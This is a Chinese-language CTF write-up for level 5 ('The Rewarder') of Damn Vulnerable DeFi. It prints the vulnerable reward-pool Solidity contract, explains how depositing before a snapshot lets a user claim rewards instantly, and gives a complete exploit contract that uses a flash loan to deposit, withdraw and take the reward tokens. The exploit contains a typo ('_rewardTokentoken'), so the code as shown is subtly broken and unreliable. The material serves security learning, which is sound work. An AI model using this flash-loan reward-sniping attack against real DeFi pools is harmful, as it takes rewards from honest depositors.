前言
Damn Vulnerable DeFi 是由 OpenZeppelin 打造的一款关于 DeFi 应用的 CTF 挑战,旨在通过 CTF 挑战帮助安全爱好者对 DeFi 安全问题有所了解。并积累一定的安全经验。相关的资料可通过 https://www.damnvulnerabledefi.xyz/ 进行查阅。本系列是 yudan 关于该 CTF 挑战的一个闯关记录,供大家学习和参考。
游戏开始
老规矩,我们先看图,看看这次的游戏规则是什么。本次解题为挑战中的第五关,名为 The Rewarder
, 是一道简单难度的题目。
本次的规则是目前有一个池,这个池允许用户存入一定的流动性代币(DVT Token
),然后每隔 5 天就可以领取一次奖励。你现在是一个什么都没有的穷光蛋黑客,但是目前的奖励池的进度是已经快要到下一次奖励周期了,你的任务是把池里面的大部分奖励都拿走,值得一提的是一如既往, 同样存在提供 DVT
代币闪电贷的池。那么废话不多说,直接开整。
代码分析
本次游戏一共有4个合约,其中前3个都不是主要的合约,由于篇幅原因,对应的详细代码这里不作列出,但是为了更好的理解主要合约中的代码关系,这里分别对对应的功能进行介绍,分别是
-
AccountingToken
:继承了openzeppelin
的ERC20Snapshot
模版的ERC20
代币,提供代币快照功能。该合约在游戏中用于记录用户在某个快照之内充值的代币数量。 -
FlashLoanerPool
:一个提供DVT
代币的闪电贷池。 -
RewardToken
:标准ERC20
代币,在该游戏中用于提供给用户代币奖励。
接下来是主要合约的代码分析
//TheRewarderPool.sol
pragma solidity ^0.6.0;
import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";
contract TheRewarderPool {
// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
uint256 public lastSnapshotIdForRewards;
uint256 public lastRecordedSnapshotTimestamp;
mapping(address => uint256) public lastRewardTimestamps;
// Token deposited into the pool by users
DamnValuableToken public liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public accToken;
// Token in which rewards are issued
RewardToken public rewardToken;
// Track number of rounds
uint256 public roundNumber;
constructor(address tokenAddress) public {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
/**
* @notice sender must have approved `amountToDeposit` liquidity tokens in advance
*/
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
accToken.mint(msg.sender, amountToDeposit);
distributeRewards();
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
function distributeRewards() public returns (uint256) {
uint256 rewardInWei = 0;
if(isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (totalDeposits > 0) {
uint256 reward = (amountDeposited * 100) / totalDeposits;
if(reward > 0 && !_hasRetrievedReward(msg.sender)) {
rewardInWei = reward * 10 ** 18;
rewardToken.mint(msg.sender, rewardInWei);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewardInWei;
}
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
以上便是本次要分析的主要合约,虽然按照题目要求,我们是要使用闪电贷进行攻击的,理论上我们就直接从 deposit
函数直接开始分析就可以了,但是为了不形成惯性思维,我们先对合约进行一个全面的分析,看看可能的漏洞点都有那些?如果分析正确且全面的话,理论上我们罗列的问题是会包含题目的的问题点的,这里大家可以先试一下,然后再往下面看 :D。
首先是合约功能分析。合约中对外开放的接口分别是 deposit
,withdraw
& distributeRewards
接口,分别用于用户充值、提现已经奖励领取。通过仔细分析每个函数的代码实现,我们可以发现几个可能的漏洞点:
-
在
deposit
函数中,用于记录用户某个快照内的流动性代币的方法是通过mint
函数进行的,那么这里就有可能是accountingToken
本身的mint
函数没有鉴权,可以任意铸币 -
在
deposit
函数中,合约会先记录用户的余额,然后再进行奖励的分发,也就是说,合约在分发奖励之前,用户就已经有对应的余额了,那么如果此时奖励分发中含有和用户余额相关的计算,会导致合约产生即充即奖的问题。 -
在
withdraw
函数中,合约销毁用户的凭证用的是burn
方法,同问题 #1 一样,同样可能存在未鉴权的问题。 -
在
withdraw
函数中,合约在清空用户余额的时候,没有先计算对应的奖励,导致如果用户直接移除流动性的话可能会产生奖励无法领取的情况。
以上是看完合约后会发现的大致的漏洞点,针对这些问题,我们逐个进行分析:
-
针对问题 #1,通过查看
AccountingToken
的代码,我们发现是不存在该问题的。 -
针对问题 #2,通过看合约中的
distributeReward
函数的实现,可以看到在函数逻辑中,会先检查是不是已经达到了对应的新的奖励周期,如果是到了新的奖励周期后,就会调用_recordSnapshot()
函数进行一个快照,然后接下来的逻辑 #66-67 行是根据用户在上一次的快照内容进行奖励分发的。那么根据这个分析,很明显符合我们我们对问题 #2 问题的分析的要求的。由于用户的余额是先记录再进行快照判断的,同时合约的快照无法自动触发,所以必须手动触发快照,也就是说,如果当前时间正好处于上一个周期结束,新周期开始之前,并且还没有人调用distributeReward
函数进行快照的话,用户就可以自己直接通过deposit
函数进行充值,然后用户快照前用户就有余额了,所以用户的充值余额会即刻记录到上一个快照中,那么接下来就会根据快照内容进行奖励分发。完全满足了即充即奖的条件。如果更近一步的话,我们是可以发现上面的流程是可以在一个交易内完成的,那么这就又达到了使用闪电贷进行攻击的要求,也就是说,这是可被闪电贷进行利用的。看来,这就是题目要求的漏洞点了。 -
针对问题 #3,通过查看
AccountingToken
的burn
函数,同样是不存在该问题的 -
针对问题 #4,通过分析代码,不难发现这个问题确实是存在的,但是这里的这个问题,并不会对合约产生影响,同时也不会对用户本身的资金产生影响,只是用户的奖励就这样没有了而已。
那么一通分析下来,结果就很明显了,主要是问题 #2 中的原因,没有在用户充值前先进行快照记录,导致用户可以在上一个快照和新的快照开始前的这个区间内进行充值,并可以即时获取奖励。
EXP 合约
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPool {
function deposit(uint256 _amount) external;
function distributeRewards() external;
function withdraw(uint256 _amount) external;
}
interface IFlashLoan{
function flashLoan(uint256 amount) external;
}
contract Hack{
IPool public pool;
IERC20 public token;
IERC20 public rewardToken;
address public owner;
constructor(address _pool, address _token, address _rewardToken) public {
pool = IPool(_pool);
token = IERC20(_token);
rewardToken = IERC20(_rewardTokentoken);
owner = msg.sender;
}
function hack(address _flash) external {
token.approve(address(pool), uint256(-1));
IFlashLoan(_flash).flashLoan(token.balanceOf(_flash));
}
function receiveFlashLoan(uint256 _amount) external {
pool.deposit(_amount);
//pool.distributeRewards();
pool.withdraw(_amount);
token.transfer(msg.sender, _amount);
rewardToken.transfer(owner, rewardToken.balanceOf(address(this)));
}
}
原文始发于微信公众号(蛋蛋的区块链笔记):[CTF 闯关] Damn Vulnerable DeFi 闯关 (五)